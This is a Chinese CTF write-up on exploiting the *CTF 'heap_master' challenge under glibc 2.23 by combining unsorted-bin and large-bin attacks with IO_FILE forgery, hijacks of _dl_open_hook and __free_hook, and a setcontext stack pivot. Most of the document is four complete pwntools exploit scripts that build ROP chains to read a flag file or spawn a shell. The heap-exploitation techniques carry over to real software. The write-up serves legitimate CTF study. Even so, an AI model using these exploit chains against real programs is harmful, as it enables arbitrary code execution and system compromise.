前言：
最近在学习的过程中，遇到一个很有趣的东西，就是IO_FILE和Largebin Unsortbin attack的结合利用，这个技巧能延伸出来很多种利用方式。
正文：
就拿最近的*CTF上的heap_master来举例。
因为本文主讲利用技巧，所以具体程序分析这里就略过了。程序在mmap区域上对堆进行增删改，所以要想构造利用，就得在mmap区域上构造chunk。以下均在libc-2.23环境下进行。
漏洞点：
有一个类似于UAF的漏洞点。
利用初探：
程序没有show函数，那么便很容易想到用修改stdout的方式来泄漏，那么该怎么去修改呢，从UAF角度分析，可以利用UAF来达到Unsortbin attack和Largebin attack。
利用思考：
Unsortbin attack只能任意地址写一个libc地址的值，该如何把这一次任意写利用最大化呢，那么就是修改global_max_fast。这样我们就可以得到glibc上的任意地址写堆地址，因为很大的chunk都变成了fastbin，因此越界了规定内的fastbin_index，导致可以在任意写堆地址。
用图来表示就是：
所以可以任意写堆地址。
我们可以覆盖stdout，使得stdout指向我们的mmap空间，并且我们事先在mmap空间构造好_IO_2_1_stdout，导致在打印出程序菜单之前先泄漏了地址。结果为这样：
如图0x57e5c100开始就是我们事先构造好的_IO_2_1_stdout，有的人或许会想问，0x7f那些地址怎么来的？很简单，事先构造0x91的chunk，free后又add，即可得到libc上的地址，再把低位双字节改成_IO_2_1_stdout上的内容，就有1/16的概率能够撞到。
泄漏出来：
泄漏出地址了，下一步便是劫持程序流了。
这里我们可以利用2.24版本后的IO_FILE利用，先劫持_IO_list_all，再接着构造_IO_list_all，触发_IO_flush_all_lockp。
覆盖就很容易了，跟前面所覆盖的stdout一样，而构造过程需要根据后续调用来构造了。我们需要触发_IO_str_jumps上的overflow。通过以下代码来劫持：
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)// pass
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))// should in
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ // pass
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)//pass 一般会通过
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);劫持程序流：
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);我们所需要bypass的几个条件：
1. fp->_flags & _IO_NO_WRITES为假
2. fp->_flags & _IO_USER_BUF(0x01)为假
3. 2*(fp->_IO_buf_end - fp->_IO_buf_base) + 100 不能为负数
4. new_size = 2 * (fp->_IO_buf_end - fp->_IO_buf_base) + 100; 这里是劫持到的函数的rdi，即第一参数
5. fp+0xe0指向需要劫持到的函数这里我们已经可以控制rip和rdi了，我构造如下：
_IO_FILE = ( p64(0) +
p64(0)*3 +
p64(0) + # write_base
p64(0x7fffffffffffffff) + # write_ptr
p64(0xdadaddaaddddaaaa) +
p64(0) + # buf_base
p64((morecore - 100) / 2) + # rdi buf_end
p64(0xdadaddaaddddaaaa)*11 +
p64(0) + # + 0xa8
p64(0xdadaddaaddddaaaa)*6 +
p64(IO_str_j) + # + 0xd8
p64(setcontext))但是单单控制了rip和rdi还不够，我们还需要把栈空间给转移到mmap上来。
观察上面可以看到，我们先把程序流劫持到这里来：
0x00007f20066f4b75 <+53>: mov rsp,QWORD PTR [rdi+0xa0]
0x00007f20066f4b7c <+60>: mov rbx,QWORD PTR [rdi+0x80]
0x00007f20066f4b83 <+67>: mov rbp,QWORD PTR [rdi+0x78]
0x00007f20066f4b87 <+71>: mov r12,QWORD PTR [rdi+0x48]
0x00007f20066f4b8b <+75>: mov r13,QWORD PTR [rdi+0x50]
0x00007f20066f4b8f <+79>: mov r14,QWORD PTR [rdi+0x58]
0x00007f20066f4b93 <+83>: mov r15,QWORD PTR [rdi+0x60]
0x00007f20066f4b97 <+87>: mov rcx,QWORD PTR [rdi+0xa8]
0x00007f20066f4b9e <+94>: push rcx
0x00007f20066f4b9f <+95>: mov rsi,QWORD PTR [rdi+0x70]
0x00007f20066f4ba3 <+99>: mov rdx,QWORD PTR [rdi+0x88]
0x00007f20066f4baa <+106>: mov rcx,QWORD PTR [rdi+0x98]
0x00007f20066f4bb1 <+113>: mov r8,QWORD PTR [rdi+0x28]
0x00007f20066f4bb5 <+117>: mov r9,QWORD PTR [rdi+0x30]
0x00007f20066f4bb9 <+121>: mov rdi,QWORD PTR [rdi+0x68]
0x00007f20066f4bbd <+125>: xor eax,eax
0x00007f20066f4bbf <+127>: ret从第一条语句我们就可以转移栈空间，因为rdi我们可控。中间的rcx可以用__morecore维持平衡。
最后栈会成功转移到我们的mmap区域来，所以事先在mmap区域构造好ROP即可劫持整个程序流。
利用延伸：
延伸点1：
可以有别的劫持流吗？当然可以。
我们还可以不劫持_IO_list_all，换个方式，劫持_dl_open_hook。
_dl_open_hook是怎么个说法呢？它跟__free_hook类似，但是又不一样，区别就在于当它不为NULL时，执行的是**_dl_open_hook，而__free_hook是执行*__free_hook。触发条件是当malloc或free出错时。
当执行到**_dl_open_hook时，rax存的就是*_dl_open_hook，即堆地址。所以我找到了这么一处gadgets：
=> 0x00007fd2f8d9a98a <+170>: mov rdi,rax
0x00007fd2f8d9a98d <+173>: call QWORD PTR [rax+0x20]这样，我们也控制了rdi，往后可以构造劫持到上面所说的转移栈空间的那处gadgets。后面的流程也一样了。
延伸点2：
那么largebin attack呢？
largebin attack实际上也是任意地址修改为堆地址，发生的链表修改操作为：
fwd->bk_nextsize->fd_nextsize = victim;
fwd->bk->fd = victim;通过调试可知这里的任意修改为第二条，每次largebin attack可任意修改一次为堆地址。实质上跟unsortbin attack没有太大的区别，只是修改方式不一样。
但是这里可以换一种方式泄漏libc地址。
可以去修改_IO_2_1_stdout的_flag为堆地址。因为flag满足一定的条件时，就可以泄漏：
if fp->flag & 0xa00 == 1 and fp->flag & 0x1000 == 1 then it will leak something when f->write_base != f->write_ptr这里也是有一定概率的。除了修改完_flag之后，还需要覆盖write_base的最低一个字节为\x00，这时候可以错位覆盖：
两处地方修改完之后的情况：
即可泄漏出地址。
往后的劫持程序流跟上面所说的一样，既可以劫持_dl_open_hook也可以劫持_IO_list_all。
延伸点3:
还可以如何劫持程序流程？可以劫持__free_hook。
大致流程就是用largebin attack泄漏出地址后（跟上面延伸2一致），再用largebin attack修改global_max_fast。这样就可以来利用fastbin_index_overflow了。
覆盖__free_hook为堆地址之后，修改该堆地址所对应的chunk的fd指针为system地址。这样当把他add取出之后，__free_hook地址就变为了system的地址：
delete之后即可触发。
当然了，__malloc_hook、__relloc_hook等等也是一样的。
利用总结：
题目还是很新颖的，从普通堆空间转化到了mmap区域上的堆空间来。可以大胆的去想思路，上面的有些思路仔细想的话其实还是很巧妙的，不管是从找gadgets和整个劫持程序流程的构造来说都很巧妙，能够把几种思路都去试着练习一下还是能够收获到很多东西的，思路上、或者是构造利用上。而且上面的几种方式交叉组合一下利用，还能有着多种方式。
Reference：
- https://balsn.tw/ctf_writeup/20190427-*ctf/#heap-master
- https://xz.aliyun.com/t/2411
- https://xz.aliyun.com/t/5006#toc-15
- https://github.com/sixstars/starctf2019/blob/master/pwn-heap_master/hack.py
EXP：
1. Unsortbin attack + _IO_list_all
from pwn import *
elf = ELF('./heap_master')
libc = ELF('./libc-2.23.so')
context.log_level = 'debug'
def add(size):
p.sendlineafter('>> ', '1')
p.sendlineafter('size: ', str(size))
def edit(off,cont):
p.sendlineafter('>> ', '2')
p.sendlineafter('offset: ', str(off))
p.sendlineafter('size: ', str(len(cont)))
p.sendafter('content: ', cont)
def delete(off):
p.sendlineafter('>> ', '3')
p.sendlineafter('offset: ', str(off))
def exp():
for i in range(0xe):
edit(0xf8 + i*0x10,p64(0x201))
for i in range(0x10):
edit(0x2f8 + i*0x10,p64(0x21))
for i in range(0xd):
delete(0x1d0-i*0x10)
add(0x1f0)
edit(0x100, p64(0xfbad1800) + p16(0x26a3))
edit(0x110,p16(0x26a3))
edit(0x118,p16(0x26a3))
edit(0x120,p16(0x2618))
edit(0x128,p16(0x26a3))
edit(0x130,p16(0x26a3))
edit(0x138,p16(0x26a3))
edit(0x140,p16(0x26a3))
edit(0x148, p64(0)*4 + p16(0x18e0))
edit(0x170, p64(1) + p64(0xffffffffffffffff) + p64(0xa000000) + p16(0x3780))
edit(0x190, p64(0xffffffffffffffff) + p64(0) + p16(0x17a0))
edit(0x1a8,p64(0)*3 + p64(0x00000000ffffffff) + p64(0)*2 + p16(0x06e0))
edit(0x1008,p64(0x91))
edit(0x1098,p64(0x21))
edit(0x10b8,p64(0x21))
#edit(0x1148,p64(0x21))
delete(0x1010)
edit(0x1018,p16(0x37f8-0x10)) # unsortbin attack global_max_fast
add(0x80)
edit(0x108,p64(0x17e1))
edit(0x18e8,p64(0x21))
edit(0x1908,p64(0x21))
delete(0x110)
data = u64(p.recv(6).ljust(8,'\x00'))
libc_base = data - 3946208
log.success('libc_base is :'+hex(libc_base))
IO_str_j = libc_base + libc.symbols['_IO_file_jumps']+0xc0
morecore = libc_base + libc.symbols['__morecore'] - 8 - 0xa0
setcontext = libc_base + 293749
_IO_FILE = ( p64(0) +
p64(0)*3 +
p64(0) + # + 0x20 write_base
p64(0x7fffffffffffffff) + # write_ptr
p64(0xdadaddaaddddaaaa) +
p64(0) + # + 0x38 buf_base
p64((morecore - 100) / 2) + # rdi buf_end
p64(0xdadaddaaddddaaaa)*11 +
p64(0) +
p64(0xdadaddaaddddaaaa)*6 +
p64(IO_str_j) + # + 0xd8
p64(setcontext))
edit(0x2008,p64(0x1411))
edit(0x3418,p64(0x21))
delete(0x2010) # modify _IO_list_all to mmap+0x2000
#gdb.attach(p)
edit(0x2000,_IO_FILE)
edit(0x3008,p64(0x1121)) # modify __morecore-8 to mmap+0x3000
edit(0x4128,p64(0x21))
delete(0x3010)
pop_rax = libc_base + 0x0000000000033544
pop_rdi = libc_base + 0x0000000000021102
pop_rsi = libc_base + 0x00000000000202e8
pop_rdx = libc_base + 0x0000000000001b92
syscall = libc_base + 0x00000000000bc375
buf = libc_base + 3954496
rop = (p64(pop_rax) + p64(0) + # read "/flag" ; open read write
p64(pop_rdi) + p64(0) +
p64(pop_rsi) + p64(buf) +
p64(pop_rdx) + p64(0x100) +
p64(syscall) +
p64(pop_rax) + p64(2) +
p64(pop_rdi) + p64(buf) +
p64(pop_rsi) + p64(0) +
p64(pop_rdx) + p64(0) +
p64(syscall) +
p64(pop_rax) + p64(0) +
p64(pop_rdi) + p64(3) +
p64(pop_rsi) + p64(buf) +
p64(pop_rdx) + p64(100) +
p64(syscall) +
p64(pop_rax) + p64(1) +
p64(pop_rdi) + p64(1) +
p64(pop_rsi) + p64(buf) +
p64(pop_rdx) + p64(100) +
p64(syscall))
edit(0x3000,rop)
p.sendline("A") # trigger on exit()
time.sleep(0.1)
p.send("./flag\x00")
p.interactive()
if __name__ == '__main__' :
pd = 1
while pd:
try :
p = process('./heap_master')
exp()
pd = 0
except Exception :
p.close()
pass2. Unsortbin attack + _dl_open_hook
from pwn import *
elf = ELF('./heap_master')
libc = ELF('./libc-2.23.so')
context.log_level = 'debug'
def add(size):
p.sendlineafter('>> ', '1')
p.sendlineafter('size: ', str(size))
def edit(off,cont):
p.sendlineafter('>> ', '2')
p.sendlineafter('offset: ', str(off))
p.sendlineafter('size: ', str(len(cont)))
p.sendafter('content: ', cont)
def delete(off):
p.sendlineafter('>> ', '3')
p.sendlineafter('offset: ', str(off))
def exp():
for i in range(0xe):
edit(0xf8 + i*0x10,p64(0x201))
for i in range(0x10):
edit(0x2f8 + i*0x10,p64(0x21))
for i in range(0xd):
delete(0x1d0-i*0x10)
add(0x1f0)
edit(0x100, p64(0xfbad1800) + p16(0x26a3))
edit(0x110,p16(0x26a3))
edit(0x118,p16(0x26a3))
edit(0x120,p16(0x2618))
edit(0x128,p16(0x2710))
edit(0x130,p16(0x26a3))
edit(0x138,p16(0x26a3))
edit(0x140,p16(0x26a3))
edit(0x148, p64(0)*4 + p16(0x18e0))
edit(0x170, p64(1) + p64(0xffffffffffffffff) + p64(0xa000000) + p16(0x3780))
edit(0x190, p64(0xffffffffffffffff) + p64(0) + p16(0x17a0))
edit(0x1a8,p64(0)*3 + p64(0x00000000ffffffff) + p64(0)*2 + p16(0x06e0))
edit(0x1008,p64(0x91))
edit(0x1098,p64(0x21))
edit(0x10b8,p64(0x21))
#edit(0x1148,p64(0x21))
delete(0x1010)
edit(0x1018,p16(0x37f8-0x10)) # unsortbin attack global_max_fast
add(0x80)
edit(0x108,p64(0x17e1))
edit(0x18e8,p64(0x21))
edit(0x1908,p64(0x21))
delete(0x110)
data = u64(p.recv(6).ljust(8,'\x00'))
data2 = p.recvuntil('===')
data2 = data2[-11:-7]
#print data2
data2 = u64(data2.ljust(8,'\x00'))
vmmap_base = data2 - 256
libc_base = data - 3946208
log.success('libc_base is :'+hex(libc_base))
log.success('vmmap_base is :'+hex(vmmap_base))
setcontext = libc_base + 293749
edit(0x2008,p64(0x8f91))
edit(0xaf98,p64(0x21))
delete(0x2010) # modify _dl_open_hook to mmap+0x2000
edit(0x2000,p64(libc_base+0x6D98A))
'''
=> 0x00007fd2f8d9a98a <+170>: mov rdi,rax
0x00007fd2f8d9a98d <+173>: call QWORD PTR [rax+0x20]
'''
#gdb.attach(p,'b *'+str(libc_base+0x6D98A))
edit(0x2020,p64(setcontext))
edit(0x20a0,p64(vmmap_base+0x20b0))
edit(0x20a8,p64(libc_base+0x0000000000000937))
pop_rax = libc_base + 0x0000000000033544
pop_rdi = libc_base + 0x0000000000021102
pop_rsi = libc_base + 0x00000000000202e8
pop_rdx = libc_base + 0x0000000000001b92
syscall = libc_base + 0x00000000000bc375
#buf = libc_base + 3954496
buf = libc_base + 3954496+0x20
rop = (p64(pop_rax) + p64(0) + # read "/flag" ; open read write
p64(pop_rdi) + p64(0) +
p64(pop_rsi) + p64(buf) +
p64(pop_rdx) + p64(0x100) +
p64(syscall) +
p64(pop_rax) + p64(2) +
p64(pop_rdi) + p64(buf) +
p64(pop_rsi) + p64(0) +
p64(pop_rdx) + p64(0) +
p64(syscall) +
p64(pop_rax) + p64(0) +
p64(pop_rdi) + p64(4) +
p64(pop_rsi) + p64(buf) +
p64(pop_rdx) + p64(100) +
p64(syscall) +
p64(pop_rax) + p64(1) +
p64(pop_rdi) + p64(1) +
p64(pop_rsi) + p64(buf) +
p64(pop_rdx) + p64(100) +
p64(syscall))
edit(0x20b0,rop)
#gdb.attach(p)
add(0x20)
time.sleep(0.1)
p.send("./flag\x00")
p.interactive()
if __name__ == '__main__' :
pd = 1
while pd:
try :
p = process('./heap_master')
exp()
pd = 0
except Exception :
p.close()
pass3. Largebin attack + _dl_open_hook
from pwn import *
elf = ELF('./heap_master')
libc = ELF('./libc-2.23.so')
context.log_level = 'debug'
def add(size):
p.sendlineafter('>> ', '1')
p.sendlineafter('size: ', str(size))
def edit(off,cont):
p.sendlineafter('>> ', '2')
p.sendlineafter('offset: ', str(off))
p.sendlineafter('size: ', str(len(cont)))
p.sendafter('content: ', cont)
def delete(off):
p.sendlineafter('>> ', '3')
p.sendlineafter('offset: ', str(off))
def exp():
edit(0x108,p64(0x401)) #fake first large chunk
edit(0x508,p64(0x21))
edit(0x528,p64(0x21))
delete(0x110)
add(0x400)
edit(0x608,p64(0x411))
edit(0x608+0x410,p64(0x21))
edit(0x608+0x430,p64(0x21))
delete(0x610)
edit(0x118,p16(0x2610)) #modify stdout_flag --> mmap_addr
add(0x410)
edit(0x1008,p64(0x451)) #fake second large chunk
edit(0x1458,p64(0x21))
edit(0x1478,p64(0x21))
delete(0x1010)
add(0x450)
edit(0x1508,p64(0x461))
edit(0x1968,p64(0x21))
edit(0x1988,p64(0x21))
delete(0x1510)
edit(0x1018,p16(0x2629)) #modify io_write_base_one_byte --> '\x00'
add(0x460)
data = p.recv(8,timeout=1)
if data == '' or data[0] == '=' :
raise NameError
else :
pass
p.recv(24)
data1 = u64(p.recv(8))
data2 = u64(p.recv(6).ljust(8,'\x00'))
heap_base = data1 - 3584
libc_base = data2 - 3954339
setcontext = libc_base + 293749
print hex(heap_base),hex(libc_base)
edit(0x2008,p64(0x501))
edit(0x2508,p64(0x21))
edit(0x2528,p64(0x21))
delete(0x2010)
add(0x500)
edit(0x2608,p64(0x511))
edit(0x2b18,p64(0x21))
edit(0x2b38,p64(0x21))
delete(0x2610)
edit(0x2018,p16(0x62d0))
add(0x510)
#gdb.attach(p)
pop_rax = libc_base + 0x0000000000033544
pop_rdi = libc_base + 0x0000000000021102
pop_rsi = libc_base + 0x00000000000202e8
pop_rdx = libc_base + 0x0000000000001b92
syscall = libc_base + 0x00000000000bc375
edit(0x2600,p64(libc_base+0x6D98A))
edit(0x2620,p64(setcontext))
edit(0x26a0,p64(heap_base+0x26b0))
edit(0x26a8,p64(libc_base+0x0000000000000937)) #ret
edit(0x26b0,p64(pop_rax)) #read
edit(0x26b8,p64(0))
edit(0x26c0,p64(pop_rdi))
edit(0x26c8,p64(0))
edit(0x26d0,p64(pop_rsi))
edit(0x26d8,p64(heap_base))
edit(0x26e0,p64(pop_rdx))
edit(0x26e8,p64(20))
edit(0x26f0,p64(syscall))
edit(0x26f8,p64(pop_rax)) #open
edit(0x2700,p64(2))
edit(0x2708,p64(pop_rdi))
edit(0x2710,p64(heap_base))
edit(0x2718,p64(pop_rsi))
edit(0x2720,p64(0))
edit(0x2728,p64(pop_rdx))
edit(0x2730,p64(0))
edit(0x2738,p64(syscall))
edit(0x2740,p64(pop_rax)) #read
edit(0x2748,p64(0))
edit(0x2750,p64(pop_rdi))
edit(0x2758,p64(4))
edit(0x2760,p64(pop_rsi))
edit(0x2768,p64(heap_base))
edit(0x2770,p64(pop_rdx))
edit(0x2778,p64(0x20))
edit(0x2780,p64(syscall))
edit(0x2788,p64(pop_rax)) #write
edit(0x2790,p64(1))
edit(0x2798,p64(pop_rdi))
edit(0x27a0,p64(1))
edit(0x27a8,p64(pop_rsi))
edit(0x27b0,p64(heap_base))
edit(0x27b8,p64(pop_rdx))
edit(0x27c0,p64(0x20))
edit(0x27c8,p64(syscall))
delete(0x2b20)
delete(0x2b20)
p.send('./flag\x00')
p.interactive()
if __name__ == '__main__' :
pd = 1
while pd:
try :
p = process('./heap_master')
exp()
pd = 0
except Exception as e:
print e
p.close()
pass4. Largebin attack + __free_hook
from pwn import *
elf = ELF('./heap_master')
libc = ELF('./libc-2.23.so')
context.log_level = 'debug'
def add(size):
p.sendlineafter('>> ', '1')
p.sendlineafter('size: ', str(size))
def edit(off,cont):
p.sendlineafter('>> ', '2')
p.sendlineafter('offset: ', str(off))
p.sendlineafter('size: ', str(len(cont)))
p.sendafter('content: ', cont)
def delete(off):
p.sendlineafter('>> ', '3')
p.sendlineafter('offset: ', str(off))
def exp():
edit(0x108,p64(0x401)) #fake first large chunk
edit(0x508,p64(0x21))
edit(0x528,p64(0x21))
delete(0x110)
add(0x400)
edit(0x608,p64(0x411))
edit(0x608+0x410,p64(0x21))
edit(0x608+0x430,p64(0x21))
delete(0x610)
edit(0x118,p16(0x2610)) #modify stdout_flag --> mmap_addr
add(0x410)
edit(0x1008,p64(0x451)) #fake second large chunk
edit(0x1458,p64(0x21))
edit(0x1478,p64(0x21))
delete(0x1010)
add(0x450)
edit(0x1508,p64(0x461))
edit(0x1968,p64(0x21))
edit(0x1988,p64(0x21))
delete(0x1510)
edit(0x1018,p16(0x2629)) #modify io_write_base_one_byte --> '\x00'
add(0x460)
data = p.recv(8,timeout=1)
if data == '' or data[0] == '=' :
raise NameError
else :
pass
p.recv(24)
data1 = u64(p.recv(8))
data2 = u64(p.recv(6).ljust(8,'\x00'))
heap_base = data1 - 3584
libc_base = data2 - 3954339
system_addr = libc_base + libc.symbols['system']
bin_addr = libc_base + libc.search('/bin/sh').next()
edit(0x2008,p64(0x501)) #fake third large chunk
edit(0x2508,p64(0x21))
edit(0x2528,p64(0x21))
delete(0x2010)
add(0x500)
edit(0x2608,p64(0x511))
edit(0x2b18,p64(0x21))
edit(0x2b38,p64(0x21))
delete(0x2610)
edit(0x2018,p16(0x37e8)) #modify global_max_fast
add(0x510)
edit(0x3008,p64(0x3921))
edit(0x3008+0x3920,p64(0x21))
delete(0x3010)
edit(0x3010,p64(system_addr))#modify fastbin->fd --> system
add(0x3918)
#gdb.attach(p)
edit(0x4008,p64(0x21))
edit(0x4010,'/bin/sh')
edit(0x4028,p64(0x21))
delete(0x4010)
p.interactive()
if __name__ == '__main__' :
pd = 1
while pd:
try :
p = process('./heap_master')
exp()
pd = 0
except Exception as e:
print e
p.close()
pass
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